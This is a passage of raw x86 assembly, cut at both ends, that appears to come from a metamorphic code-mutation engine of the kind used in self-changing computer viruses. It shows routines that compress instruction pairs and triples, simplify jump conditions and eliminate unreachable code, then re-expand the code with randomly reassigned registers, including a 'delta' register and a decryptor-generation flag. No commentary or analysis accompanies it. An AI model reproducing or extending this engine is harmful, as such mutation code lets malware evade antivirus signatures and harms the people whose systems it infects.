jb @@Double_Next13_NotOPRegMem2
cmp eax, 4Ch+80h
jbe @@Double_Next13_OPRegMem_2
@@Double_Next13_NotOPRegMem2:
cmp eax, 43h
jz @@Double_Next13_MOVMemReg
cmp eax, 0F6h
jz @@Double_Next13_MOVMemReg
cmp eax, 44h
jz @@Double_Next13_MOVMemImm
cmp eax, 0EAh
jz @@Double_Next13_CALLMem
cmp eax, 0EBh
jnz @@Double_Next14
@@Double_Next13_JMPMem:
@@Double_Next13_CALLMem:
@@Double_Next13_OPRegMem:
mov ebx, [esi+7]
mov eax, [ebx+1]
cmp eax, [edi+1]
jnz @@Double_Next14
mov eax, [ebx+3]
cmp eax, [edi+3]
jnz @@Double_Next14
mov eax, [esi+1]
mov [edi+1], eax
mov eax, [esi+3]
mov [edi+3], eax
jmp @@Double_Next_SetNOPAt1st
@@Double_Next13_MergeMOVs:
mov ebx, [esi+7]
mov eax, [ebx+1]
cmp eax, [edi+1]
jnz @@Double_Next14
mov eax, [ebx+3]
cmp eax, [edi+3]
jnz @@Double_Next14
mov eax, [edi+7]
mov [esi+7], eax
mov [eax+7], esi
jmp @@Double_Next_SetNOP
@@Double_Next13_MOVMemReg:
@@Double_Next13_MOVMemImm:
mov ebx, [esi+7]
mov eax, [ebx+1]
cmp eax, [edi+1]
jnz @@Double_Next14
mov eax, [ebx+3]
cmp eax, [edi+3]
jz @@Double_Next_SetNOPAt1st
@@Double_Next14:
xor eax, eax
mov al, [esi]
cmp eax, 70h
jb @@Double_Next15
cmp eax, 7Fh
ja @@Double_Next15
mov al, [edi]
cmp eax, 0E9h
jz @@Double_Next14_CheckJMP
cmp eax, 70h
jb @@Double_Next15
cmp eax, 7Fh
ja @@Double_Next15
mov eax, [edi+1]
cmp eax, [esi+1]
jnz @@Double_Next15
mov eax, [esi]
and eax, 0Fh
mov ebx, eax
mov eax, [edi]
and eax, 0Fh
call GetRealCheck
cmp eax, 0FFh
jz @@Double_End
add eax, 70h
cmp eax, 0E9h
jz @@Double_Next32_JMP
jmp @@Double_Next_SetInstruction
@@Double_Next14_CheckJMP:
mov eax, [edi+1]
cmp eax, [esi+1]
jz @@Double_Next_SetNOPAt1st
jmp @@Double_End
@@Double_Next15:
@@Double_Next16:
@@Double_Next17:
xor eax, eax
mov al, [esi]
cmp eax, 0E0h
jnz @@Double_Next18
mov ebx, 0E4h
xor ecx, ecx
mov edx, 1
@@Double_Next_Check_NOT_OP:
xor eax, eax
mov al, [edi]
cmp eax, ebx
jz @@Double_Next17_ADDReg
cmp eax, ecx
jnz @@Double_End
@@Double_Next17_NEGReg:
mov eax, [esi+1]
cmp al, [edi+1]
jnz @@Double_End
@@Double_Next17_NEGReg_2:
test ebx, 2
jz @@Double_Next17_Get32
xor eax, eax
mov al, [edi+7]
cmp eax, 80h
jb @@Double_Next17_Cont00
add eax, 0FFFFFF00h
jmp @@Double_Next17_Cont00
@@Double_Next17_Get32:
mov eax, [edi+7]
@@Double_Next17_Cont00:
cmp eax, edx
jnz @@Double_End
mov eax, ebx
jmp @@Double_Next_SetInstruction
@@Double_Next17_ADDReg:
mov eax, [esi+1]
cmp al, [edi+1]
jnz @@Double_End
@@Double_Next17_ADDReg_2:
mov eax, edx
mov [esi+7], eax
mov eax, ecx
jmp @@Double_Next_SetInstruction
@@Double_Next18:
cmp eax, 0E2h
jnz @@Double_Next19
mov ebx, 0E6h
mov ecx, 80h
mov edx, 1
jmp @@Double_Next_Check_NOT_OP
@@Double_Next19:
cmp eax, 0E4h
jnz @@Double_Next20
mov ebx, 0E0h
xor ecx, ecx
mov edx, -1
jmp @@Double_Next_Check_NOT_OP
@@Double_Next20:
cmp eax, 0E6h
jnz @@Double_Next21
mov ebx, 0E2h
mov ecx, 80h
mov edx, -1
jmp @@Double_Next_Check_NOT_OP
@@Double_Next21:
cmp eax, 0E1h
jnz @@Double_Next22
mov ebx, 0E5h
mov ecx, 4
mov edx, 1
@@Double_Next_Check_NOT_OP_Mem:
xor eax, eax
mov al, [edi]
cmp eax, ebx
jz @@Double_Next21_ADDMem
cmp eax, ecx
jnz @@Double_End
@@Double_Next21_NEGMem:
mov eax, [esi+1]
cmp eax, [edi+1]
jnz @@Double_End
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_End
xor eax, eax
jmp @@Double_Next17_NEGReg_2
@@Double_Next21_ADDMem:
mov eax, [esi+1]
cmp eax, [edi+1]
jnz @@Double_End
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_End
xor eax, eax
jmp @@Double_Next17_ADDReg_2
@@Double_Next22:
cmp eax, 0E3h
jnz @@Double_Next23
mov ebx, 0E7h
mov ecx, 84h
mov edx, 1
jmp @@Double_Next_Check_NOT_OP_Mem
@@Double_Next23:
cmp eax, 0E5h
jnz @@Double_Next24
mov ebx, 0E1h
mov ecx, 4
mov edx, -1
jmp @@Double_Next_Check_NOT_OP_Mem
@@Double_Next24:
cmp eax, 0E7h
jnz @@Double_Next25
mov ebx, 0E3h
mov ecx, 84h
mov edx, -1
jmp @@Double_Next_Check_NOT_OP_Mem
@@Double_Next25:
@@Double_Next26:
@@Double_Next27:
@@Double_Next28:
@@Double_Next29:
cmp eax, 0EAh
jnz @@Double_Next30
@@Double_Next29_CheckAPICALL_STORE:
mov al, [edi]
cmp eax, 43h
jnz @@Double_End
mov al, [edi+7]
or eax, eax
jnz @@Double_End
mov eax, 0F6h
mov [edi], al
xor eax, eax
mov [edi+7], eax
jmp @@EndCompressed
@@Double_Next30:
cmp eax, 0ECh
jz @@Double_Next29_CheckAPICALL_STORE
@@Double_Next31:
cmp eax, 42h
jnz @@Double_Next32
mov eax, [edi]
and eax, 0FFh
cmp eax, 20h
jz @@Double_Next31_MaybeMOVZX
mov al, [esi+7]
cmp eax, 2
ja @@Double_Next32
cmp al, [edi+1]
jnz @@Double_Next32
mov al, [edi]
cmp eax, 0ECh
jnz @@Double_Next32
sub eax, 2
jmp @@Double_Next_SetInstruction
@@Double_Next31_MaybeMOVZX:
mov eax, [edi+7]
cmp eax, 0FFh
jnz @@Double_Next32
mov eax, [esi+7]
and eax, 0FFh
mov ebx, [edi+1]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next32
mov eax, [esi+1]
and eax, 0FFh
cmp eax, ebx
jz @@Double_Next32
mov eax, [esi+2]
and eax, 0Fh
cmp eax, ebx
jz @@Double_Next32
mov eax, 0F8h
jmp @@Double_Next_SetInstruction
@@Double_Next32:
xor eax, eax
mov al, [esi]
cmp eax, 39h
jnz @@Double_Next33
@@Double_Next32_Common:
mov al, [edi]
cmp eax, 70h
jb @@Double_End
cmp eax, 7Fh
ja @@Double_End
mov al, [esi+1]
mov ebx, eax
mov al, [esi+7]
cmp eax, ebx
jnz @@Double_End
mov eax, [edi]
and eax, 07h
cmp eax, 1
jz @@Double_Next32_JMP
cmp eax, 6
jz @@Double_Next32_JMP
mov eax, [edi]
and eax, 0Fh
cmp eax, 2
jbe @@Double_Next32_NOP
cmp eax, 4
jbe @@Double_Next32_JMP
cmp eax, 0Ah
jz @@Double_Next32_JMP
cmp eax, 0Dh
jz @@Double_Next32_JMP
@@Double_Next32_NOP:
mov eax, 0FFh
mov [edi], eax
jmp @@EndCompressed
@@Double_Next32_JMP:
mov eax, 0E9h
mov [edi], al
mov edx, edi
@@Double_Next32_EliminateNonReachableCode:
add edx, 10h
cmp edx, [ebp+AddressOfLastInstruction]
jae @@EndCompressed
mov al, [edx+0Bh]
or eax, eax
jnz @@EndCompressed
mov eax, 0FFh
mov [edx], eax
jmp @@Double_Next32_EliminateNonReachableCode
@@Double_Next33:
cmp eax, 39h+80h
jz @@Double_Next32_Common
@@Double_End:
@@Check_Triple:
mov edx, esi
mov esi, edi
call IncreaseEIP
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndNoCompressed
xor eax, eax
mov al, [edi+0Bh]
or eax, eax
jnz @@EndNoCompressed
@@Triple_Next00:
mov al, [edx]
cmp eax, 43h
jnz @@Triple_Next01
mov eax, [edx+1]
cmp eax, [esi+1]
jnz @@Triple_Next01
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_Next01
mov eax, [edi]
cmp al, 42h
jz @@Triple_Next00_Constr00
cmp al, 70h
jb @@Triple_Next01
cmp al, 7Fh
ja @@Triple_Next01
mov eax, [esi]
and eax, 0F8h
or eax, eax
jz @@Triple_Next00_Maybe01
cmp eax, 28h
jz @@Triple_Next00_Maybe01
cmp eax, 38h
jz @@Triple_Next00_Maybe01
cmp eax, 48h
jz @@Triple_Next00_Maybe01
cmp eax, 20h
jnz @@Triple_End
@@Triple_Next00_Maybe01:
xor ebx, ebx
@@Triple_Next00_CheckCMPTEST:
mov eax, [esi]
and eax, 07Fh
cmp eax, 48h
jb @@Triple_Next00_CheckCMPTEST_00
and eax, 7
cmp eax, 2
jz @@Triple_Next00_CMPTESTRegReg
jmp @@Triple_Next00_CheckCMPTEST_01
@@Triple_Next00_CheckCMPTEST_00:
and eax, 7
cmp eax, 3
jz @@Triple_Next00_CMPTESTRegReg
@@Triple_Next00_CheckCMPTEST_01:
cmp eax, 4
jnz @@Triple_End
@@Triple_Next00_CMPTESTRegImm:
mov eax, [edx+7]
mov [esi+1], al
@@Triple_Next00_SET_CMPTEST:
mov eax, [esi]
and eax, 78h
cmp eax, 48h
jz @@Triple_Next00_SetInstruction
cmp eax, 20h
jz @@Triple_Next00_Cont80
cmp eax, 38h
jz @@Triple_Next00_SetInstruction
or eax, eax
jz @@Triple_Next00_NegateImm
@@Triple_Next00_SetCMP:
mov eax, 38h
jmp @@Triple_Next00_SetInstruction
@@Triple_Next00_NegateImm:
mov eax, [esi+7]
neg eax
mov [esi+7], eax
jmp @@Triple_Next00_SetCMP
@@Triple_Next00_Cont80:
mov eax, 48h
@@Triple_Next00_SetInstruction:
add eax, ebx
mov [esi], al
mov eax, 0FFh
mov [edx], al
jmp @@EndCompressed
@@Triple_Next00_CMPTESTRegReg:
mov eax, [esi]
and eax, 78h
or eax, eax
jz @@Triple_End
mov eax, [esi+7]
mov [esi+1], al
mov eax, [edx+7]
mov [esi+7], al
add ebx, 1
jmp @@Triple_Next00_SET_CMPTEST
@@Triple_Next00_Constr00:
mov eax, [esi]
cmp al, 4Ch
ja @@Triple_Next01
xor ebx, ebx
@@Triple_Next00_Common:
mov eax, [esi]
and eax, 78h
cmp eax, 48h
jb @@Triple_Next00_Common_00
mov eax, [esi]
and eax, 7
cmp eax, 2
jz @@Triple_Next00_Maybe00
jmp @@Triple_Next00_Common_01
@@Triple_Next00_Common_00:
mov eax, [esi]
and al, 7
cmp al, 3
jz @@Triple_Next00_Maybe00
@@Triple_Next00_Common_01:
cmp al, 4
jnz @@Triple_End
@@Triple_Next00_Maybe00:
mov eax, [edx+1]
cmp eax, [esi+1]
jnz @@Triple_End
cmp eax, [edi+1]
jnz @@Triple_End
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_End
cmp eax, [edi+3]
jnz @@Triple_End
mov eax, [edx+7]
cmp al, [edi+7]
jnz @@Triple_End
mov eax, [esi]
and eax, 78h
cmp eax, 48h
jb @@Triple_Next00_00
mov eax, [esi]
and eax, 7
cmp eax, 2
jz @@Triple_Next00_Maybe_OPRegReg
jmp @@Triple_Next00_01
@@Triple_Next00_00:
mov eax, [esi]
and eax, 7
cmp eax, 3
jz @@Triple_Next00_Maybe_OPRegReg
@@Triple_Next00_01:
mov eax, [edx+7]
mov [edx+1], al
mov eax, [esi+7]
mov [edx+7], eax
mov eax, [esi]
and eax, 78h
add eax, ebx
@@Triple_Next_SetInstruction:
mov [edx], al
@@Triple_Next_SetNOP:
mov eax, 0FFh
mov [esi], al
mov [edi], al
jmp @@EndCompressed
@@Triple_Next00_Maybe_OPRegReg:
mov eax, [esi+7]
mov [edx+1], eax
mov eax, [edi+7]
mov [edx+7], eax
mov eax, [esi]
and eax, 0F8h
add eax, 1
jmp @@Triple_Next_SetInstruction
@@Triple_Next01:
mov eax, [edx]
cmp al, 43h+80h
jnz @@Triple_Next02
mov eax, [edx+1]
cmp eax, [esi+1]
jnz @@Triple_Next02
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_Next02
mov eax, [edi]
cmp al, 42h+80h
jz @@Triple_Next01_Constr00
cmp al, 70h
jb @@Triple_Next02
cmp al, 7Fh
ja @@Triple_Next02
mov eax, [esi]
and eax, 0F8h
cmp eax, 00h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 28h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 38h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 48h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 20h+80h
jnz @@Triple_End
@@Triple_Next01_Maybe01:
mov ebx, 80h
jmp @@Triple_Next00_CheckCMPTEST
@@Triple_Next01_Constr00:
mov ebx, 80h
mov eax, [esi]
cmp al, 4Ch+80h
ja @@Triple_Next02
cmp al, 00h+80h
jae @@Triple_Next00_Common
@@Triple_Next02:
mov eax, [edx]
cmp al, 4Fh
jnz @@Triple_Next03
mov eax, [edi]
cmp al, 70h
jb @@Triple_Next02_ContCheck
cmp al, 7Fh
ja @@Triple_Next02_ContCheck
mov ebx, [edx+7]
mov eax, [ebx+1]
cmp eax, [esi+1]
jnz @@Triple_End
mov eax, [ebx+3]
cmp eax, [esi+3]
jnz @@Triple_End
mov eax, [esi]
and eax, 78h
cmp eax, 20h
jz @@Triple_Next02_CheckCMPTESTMemReg
cmp eax, 28h
jz @@Triple_Next02_CheckCMPTESTMemReg
cmp eax, 38h
jz @@Triple_Next02_CheckCMPTESTMemReg
cmp eax, 48h
jnz @@Triple_Next03
@@Triple_Next02_CheckCMPTESTRegMem:
@@Triple_Next02_CheckCMPTESTMemReg:
mov eax, [edx+1]
mov [esi+1], eax
mov eax, [edx+3]
mov [esi+3], eax
mov eax, 0FFh
mov [edx], eax
mov eax, [esi]
and eax, 78h
cmp eax, 38h
jz @@EndCompressed
cmp eax, 48h
jz @@EndCompressed
cmp eax, 20h
jz @@Triple_Next02_SetTEST
mov ebx, 10h
@@Triple_Next02_ConvertInstruction:
mov eax, [esi]
add eax, ebx
mov [esi], eax
jmp @@EndCompressed
@@Triple_Next02_SetTEST:
mov ebx, 28h
jmp @@Triple_Next02_ConvertInstruction
@@Triple_Next02_ContCheck:
cmp al, 4Fh
jnz @@Triple_Next03
mov eax, [esi]
cmp al, 4Ch
jbe @@Triple_Next02_CommonOperation
cmp al, 00h+80h
jb @@Triple_Next03
cmp al, 4Ch+80h
ja @@Triple_Next03
@@Triple_Next02_CommonOperation:
cmp eax, 0F6h
jz @@Triple_Next02_OPMemReg
and eax, 78h
cmp eax, 48h
jb @@Triple_Next02_00
mov eax, [esi]
and eax, 7
cmp eax, 2
jz @@Triple_Next02_OPMemReg
jmp @@Triple_Next02_01
@@Triple_Next02_00:
mov eax, [esi]
and eax, 7
cmp eax, 3
jz @@Triple_Next02_OPMemReg
@@Triple_Next02_01:
cmp eax, 4
jnz @@Triple_End
@@Triple_Next02_OPMemImm:
@@Triple_Next02_OPMemReg:
mov ebx, [edx+7]
mov eax, [ebx+1]
cmp eax, [edi+1]
jnz @@Triple_End
cmp eax, [esi+1]
jnz @@Triple_End
mov eax, [ebx+3]
cmp eax, [edi+3]
jnz @@Triple_End
cmp eax, [esi+3]
jnz @@Triple_End
mov ebx, [edi+7]
mov eax, [ebx+1]
cmp eax, [edx+1]
jnz @@Triple_End
mov eax, [ebx+3]
cmp eax, [edx+3]
jnz @@Triple_End
mov eax, [edx+1]
mov [esi+1], eax
mov eax, [edx+3]
mov [esi+3], eax
@@Triple_Next_SetNOP_1_3:
mov eax, 0FFh
mov [edx], al
mov [edi], al
jmp @@EndCompressed
@@Triple_Next03:
mov eax, [edx]
cmp al, 44h
jnz @@Triple_Next04
mov eax, [edi]
cmp al, 42h
jz @@Triple_Next03_Constr00
cmp al, 70h
jb @@Triple_Next04
cmp al, 7Fh
ja @@Triple_Next04
mov eax, [esi]
@@Triple_Next03_Check_CMP_TEST:
cmp al, 3Ah
jz @@Triple_Next03_CMPRegImm
cmp al, 4Ah
jnz @@Triple_End
@@Triple_Next03_CMPRegImm:
@@Triple_Next03_TESTRegImm:
mov eax, [esi]
and eax, 0F8h
mov [edx], al
mov eax, [esi+7]
mov [edx+1], al
mov eax, 0FFh
mov [esi], al
jmp @@EndCompressed
@@Triple_Next03_Constr00:
mov eax, [esi]
cmp eax, 0F6h
jz @@Triple_Next03_Common_F6
cmp al, 4Ch
ja @@Triple_Next04
@@Triple_Next03_Common:
and eax, 78h
cmp eax, 48h
jb @@Triple_Next03_00
mov eax, [esi]
and eax, 7
cmp eax, 2
jz @@Triple_Next03_Common_F6
jmp @@Triple_End
@@Triple_Next03_00:
mov eax, [esi]
and eax, 7
cmp eax, 3
jnz @@Triple_End
@@Triple_Next03_Common_F6:
mov eax, [edx+1]
cmp eax, [esi+1]
jnz @@Triple_End
cmp eax, [edi+1]
jnz @@Triple_End
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_End
cmp eax, [edi+3]
jnz @@Triple_End
mov eax, [esi+7]
mov [edx+1], eax
mov eax, [esi]
and eax, 0F8h
jmp @@Triple_Next_SetInstruction
@@Triple_Next04:
mov eax, [edx]
cmp al, 44h+80h
jnz @@Triple__Next04
mov eax, [edi]
cmp al, 42h+80h
jz @@Triple_Next04_Constr00
cmp al, 70h
jb @@Triple__Next04
cmp al, 7Fh
ja @@Triple__Next04
mov eax, [esi]
sub al, 80h
jmp @@Triple_Next03_Check_CMP_TEST
@@Triple_Next04_Constr00:
mov eax, [esi]
cmp al, 00h+80h
jb @@Triple__Next04
cmp al, 4Ch+80h
jbe @@Triple_Next03_Common
@@Triple__Next04:
@@Triple_End:
jmp @@EndNoCompressed
@@EndCompressed:
mov eax, 1
pop edi
ret
@@EndNoCompressed:
xor eax, eax
pop edi
ret
ShrinkThisInstructions endp
OrderRegs proc
push edx
mov eax, [edi+1]
and eax, 0FFh
cmp eax, 8
jnz @@_Next
mov eax, [edi+2]
and eax, 0FFh
cmp eax, 7
ja @@_End
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax
mov eax, [edi+2]
and eax, 0FFFFFF00h
add eax, 8
mov [edi+2], eax
@@_End: pop edx
ret
@@_Next: mov eax, [edi+2]
mov edx, [edi+1]
and eax, 0FFh
and edx, 0FFh
cmp eax, edx
ja @@_End
push eax
mov edx, [edi+2]
mov eax, [edi+1]
and eax, 0FFh
and edx, 0FFFFFF00h
add eax, edx
mov [edi+2], eax
pop eax
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax
pop edx
ret
OrderRegs endp
CalculateOperation proc
and ebx, 0FFh
and eax, 0FFh
cmp ebx, 40h
jz @@Eliminate1st
cmp eax, 40h
jz @@MOV
or eax, eax
jz @@ADD
cmp eax, 8
jz @@OR
cmp eax, 20h
jz @@AND
cmp eax, 28h
jz @@SUB
cmp eax, 30h
jz @@XOR
cmp eax, 38h
jz @@Eliminate1st
cmp eax, 48h
jnz @@Eliminate1st
jmp @@NoCompression
@@ADD: or ebx, ebx
jz @@ADD_ADD
cmp ebx, 28h
jz @@ADD_SUB
jmp @@NoCompression
@@OR: cmp ebx, 8
jz @@OR_OR
jmp @@NoCompression
@@AND: cmp ebx, 20h
jz @@AND_AND
jmp @@NoCompression
@@SUB: or ebx, ebx
jz @@SUB_ADD
cmp ebx, 28h
jnz @@NoCompression
@@SUB_SUB: neg ecx
sub ecx, edx
xor eax, eax
ret
@@SUB_ADD: sub edx, ecx
mov ecx, edx
xor eax, eax
ret
@@XOR: cmp ebx, 30h
jz @@XOR_XOR
jmp @@NoCompression
@@MOV: or ebx, ebx
jz @@MOV_ADD
cmp ebx, 8
jz @@MOV_OR
cmp ebx, 20h
jz @@MOV_AND
cmp ebx, 28h
jz @@MOV_SUB
cmp ebx, 30h
jz @@MOV_XOR
@@NoCompression:
mov eax, 0FEh
ret
@@Eliminate1st:
mov eax, 0FFh
ret
@@ADD_ADD:
@@MOV_ADD: add ecx, edx
ret
@@OR_OR:
@@MOV_OR: or ecx, edx
ret
@@AND_AND:
@@MOV_AND: and ecx, edx
ret
@@ADD_SUB:
@@MOV_SUB: sub ecx, edx
ret
@@XOR_XOR:
@@MOV_XOR: xor ecx, edx
ret
CalculateOperation endp
GetRealCheck proc
cmp eax, ebx
jb @@1
mov ecx, ebx
mov edx, eax
jmp @@2
@@1: mov ecx, eax
mov edx, ebx
@@2: test ecx, 1 ; ECX <= EDX
jnz @@NoUnconditional
sub edx, 1
cmp ecx, edx
jz @@UnconditionalJump
add edx, 1
@@NoUnconditional:
cmp ecx, edx
jz @@ReturnCurrent
cmp ecx, 2
jz @@Check2_x
cmp ecx, 3
jz @@Check3_x
cmp ecx, 4
jz @@Check4_x
cmp ecx, 5
jnz @@NoOption
@@Check5_x:
cmp edx, 7
jz @@SetNE
cmp edx, 6
jz @@UnconditionalJump
jmp @@NoOption
@@Check2_x:
cmp edx, 4
jb @@NoOption
cmp edx, 7
ja @@NoOption
test edx, 1
jnz @@SetNE
jmp @@SetBE
@@Check3_x:
cmp edx, 4
jz @@SetNB
cmp edx, 7
jz @@SetNB
cmp edx, 6
jz @@UnconditionalJump
jmp @@NoOption
@@Check4_x:
cmp edx, 6
jz @@SetBE
cmp edx, 7
jnz @@NoOption
@@SetNB: mov eax, 3
ret
@@SetNE: mov eax, 5
ret
@@SetBE: mov eax, 6
ret
@@NoOption:
mov eax, 0FFh
@@ReturnCurrent:
ret
@@UnconditionalJump:
mov eax, 79h
ret
GetRealCheck endp
CheckIfInstructionUsesMem proc
cmp eax, 4Eh
jbe @@Common
cmp eax, 4Fh
jz @@UsesMem
cmp eax, 70h
jb @@CheckLastBit
cmp eax, 80h
jb @@NoMem
cmp eax, 0CEh
jbe @@Common
cmp eax, 0E7h
jbe @@CheckLastBit
cmp eax, 0EAh
jz @@UsesMem
cmp eax, 0EBh
jz @@UsesMem
cmp eax, 0F1h
jz @@UsesMem
cmp eax, 0F3h
jz @@UsesMem
cmp eax, 0F6h
jz @@UsesMem
cmp eax, 0F7h
jz @@UsesMem
cmp eax, 0F8h
jz @@UsesMem
cmp eax, 0FCh
jz @@UsesMem
@@NoMem: xor eax, eax
ret
@@CheckLastBit:
and eax, 1
ret
@@Common:
cmp eax, 4Eh
jz @@UsesMem
and eax, 7
cmp eax, 2
jb @@NoMem
cmp eax, 4
ja @@NoMem
@@UsesMem:
mov eax, 1
ret
CheckIfInstructionUsesMem endp
;----------------------------------------------------------------------------------
XpandCode proc
mov esi, [ebp+InstructionTable]
mov edi, [ebp+ExpansionResult]
mov eax, [ebp+SizeOfExpansion]
mov [ebp+Xp_RecurseLevel], eax
mov eax, [ebp+CreatingADecryptor]
or eax, eax
jnz @@KeepRegisterTranslation
mov eax, 8
mov [ebp+Xp_Register0], eax
mov [ebp+Xp_Register1], eax
mov [ebp+Xp_Register2], eax
mov [ebp+Xp_Register3], eax
mov [ebp+Xp_Register5], eax
mov [ebp+Xp_Register6], eax
mov [ebp+Xp_Register7], eax
mov eax, 4
mov [ebp+Xp_Register4], eax
@@Other8BitsReg:
call Random
and eax, 7
cmp eax, 3
ja @@Other8BitsReg
mov ebx, [ebp+Register8Bits]
call Xpand_SetRegister4Xlation
@@OtherDeltaReg:
call Random
and eax, 7
cmp eax, 2
jbe @@OtherDeltaReg
cmp eax, 4
jz @@OtherDeltaReg
mov ebx, [ebp+DeltaRegister]
call Xpand_SetRegister4Xlation
or eax, eax
jz @@OtherDeltaReg
mov ebx, -1
@@NextRegister:
add ebx, 1
cmp ebx, [ebp+DeltaRegister]
jz @@NextRegister
cmp ebx, [ebp+Register8Bits]
jz @@NextRegister
cmp ebx, 4
jz @@NextRegister
cmp ebx, 8
jz @@EndOfRegisters
@@OtherRegister:
call Random
and eax, 7
cmp eax, 4
jz @@OtherRegister
call Xpand_SetRegister4Xlation
or eax, eax
jz @@OtherRegister
jmp @@NextRegister
@@EndOfRegisters:
mov eax, [ebp+DeltaRegister]
call Xpand_TranslateRegister
mov [ebp+TranslatedDeltaRegister], eax
@@KeepRegisterTranslation:
@@Expand:
call XpandThisInstruction
add esi, 10h
cmp esi, [ebp+AddressOfLastInstruction]
jnz @@Expand
mov [ebp+AddressOfLastInstruction], edi
call Xpand_UpdateLabels
ret
XpandCode endp
Xpand_TranslateRegister proc
or eax, eax
jz @@Get0
cmp eax, 1
jz @@Get1
cmp eax, 2
jz @@Get2
cmp eax, 3
jz @@Get3
cmp eax, 4
jz @@Return
cmp eax, 5
jz @@Get5
cmp eax, 6
jz @@Get6
cmp eax, 7
jz @@Get7
mov eax, 8
ret
@@Get7: mov eax, [ebp+Xp_Register7]
ret
@@Get0: mov eax, [ebp+Xp_Register0]
ret
@@Get1: mov eax, [ebp+Xp_Register1]
ret
@@Get2: mov eax, [ebp+Xp_Register2]
ret
@@Get3: mov eax, [ebp+Xp_Register3]
ret
@@Get5: mov eax, [ebp+Xp_Register5]
ret
@@Get6: mov eax, [ebp+Xp_Register6]
@@Return: ret
Xpand_TranslateRegister endp
Xpand_ReverseTranslation proc
cmp eax, 4
jz @@Return
cmp eax, [ebp+Xp_Register0]
jz @@Return0
cmp eax, [ebp+Xp_Register1]
jz @@Return1
cmp eax, [ebp+Xp_Register2]
jz @@Return2
cmp eax, [ebp+Xp_Register3]
jz @@Return3
cmp eax, [ebp+Xp_Register5]
jz @@Return5
cmp eax, [ebp+Xp_Register6]
jz @@Return6
cmp eax, [ebp+Xp_Register7]
jz @@Return7
mov eax, 8
@@Return: ret
@@Return0: xor eax, eax
ret
@@Return1: mov eax, 1
ret
@@Return2: mov eax, 2
ret
@@Return3: mov eax, 3
ret
@@Return5: mov eax, 5
ret
@@Return6: mov eax, 6
ret
@@Return7: mov eax, 7
ret
Xpand_ReverseTranslation endp
Xpand_SetRegister4Xlation proc
cmp eax, [ebp+Xp_Register0]
jz @@ReturnError
cmp eax, [ebp+Xp_Register1]
jz @@ReturnError
cmp eax, [ebp+Xp_Register2]
jz @@ReturnError
cmp eax, [ebp+Xp_Register3]
jz @@ReturnError
cmp eax, [ebp+Xp_Register5]
jz @@ReturnError
cmp eax, [ebp+Xp_Register6]
jz @@ReturnError
cmp eax, [ebp+Xp_Register7]
jz @@ReturnError
or ebx, ebx
jz @@SetAt0
cmp ebx, 1
jz @@SetAt1
cmp ebx, 2
jz @@SetAt2
cmp ebx, 3
jz @@SetAt3
cmp ebx, 5
jz @@SetAt5
cmp ebx, 6
jz @@SetAt6
@@SetAt7: mov [ebp+Xp_Register7], eax
jmp @@ReturnNoError
@@SetAt0: mov [ebp+Xp_Register0], eax
jmp @@ReturnNoError
@@SetAt1: mov [ebp+Xp_Register1], eax
jmp @@ReturnNoError
@@SetAt2: mov [ebp+Xp_Register2], eax
jmp @@ReturnNoError
@@SetAt3: mov [ebp+Xp_Register3], eax
jmp @@ReturnNoError
@@SetAt5: mov [ebp+Xp_Register5], eax
jmp @@ReturnNoError
@@SetAt6: mov [ebp+Xp_Register6], eax
jmp @@ReturnNoError
@@ReturnError:
xor eax, eax
ret
@@ReturnNoError:
mov eax, 1
ret
Xpand_SetRegister4Xlation endp
XpandThisInstruction proc
mov eax, [esi+0Bh]
mov [edi+0Bh], eax
mov [edi+0Ch], esi
mov [esi+0Ch], edi
xor eax, eax
mov al, [esi]
cmp eax, 4Ch
ja @@Xpand_Next001
xor eax, eax
@@Generic: mov [ebp+Xp_8Bits], eax
mov eax, [esi]
and eax, 78h
mov [ebp+Xp_Operation], eax
mov eax, [esi]
and eax, 7
or eax, eax
jz @@OPRegImm
cmp eax, 1
jz @@OPRegReg
cmp eax, 2
jz @@OPRegMem
cmp eax, 3
jz @@OPMemReg
@@OPMemImm:
mov eax, [ebp+Xp_8Bits]
or eax, eax
jz @@OPMemImm32
mov eax, [esi+7]
and eax, 0FFh
cmp eax, 7Fh
jbe @@OPMemImmSet
or eax, 0FFFFFF00h
jmp @@OPMemImmSet
@@OPMemImm32:
mov eax, [esi+7]
@@OPMemImmSet:
mov [ebp+Xp_Immediate], eax
call Xpand_SetMemoryAddress
call Xp_GenOPMemImm
jmp @@Ret
@@OPRegImm:
mov eax, [ebp+Xp_8Bits]
or eax, eax
jz @@OPRegImm32
mov eax, [esi+7]
and eax, 0FFh
cmp eax, 7Fh
jbe @@OPRegImmSet
or eax, 0FFFFFF00h
jmp @@OPRegImmSet
@@OPRegImm32:
mov eax, [esi+7]
@@OPRegImmSet:
mov [ebp+Xp_Immediate], eax
mov eax, [esi+1]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
call Xp_GenOPRegImm
jmp @@Ret
@@OPRegReg:
mov eax, [esi+1]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_SrcRegister], eax
mov eax, [esi+7]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
call Xp_GenOPRegReg
jmp @@Ret
@@OPRegMem:
call Xpand_SetMemoryAddress
mov eax, [esi+7]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
call Xp_GenOPRegMem
jmp @@Ret
@@OPMemReg:
call Xpand_SetMemoryAddress
mov eax, [esi+7]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
call Xp_GenOPMemReg
jmp @@Ret
@@Xpand_Next001:
cmp eax, 00h+80h
jb @@Xpand_Next002
cmp eax, 4Ch+80h
ja @@Xpand_Next002
mov eax, 80h
jmp @@Generic
@@Xpand_Next002:
cmp eax, 50h
jnz @@Xpand_Next003
mov eax, [esi+1]
and eax, 0FFh
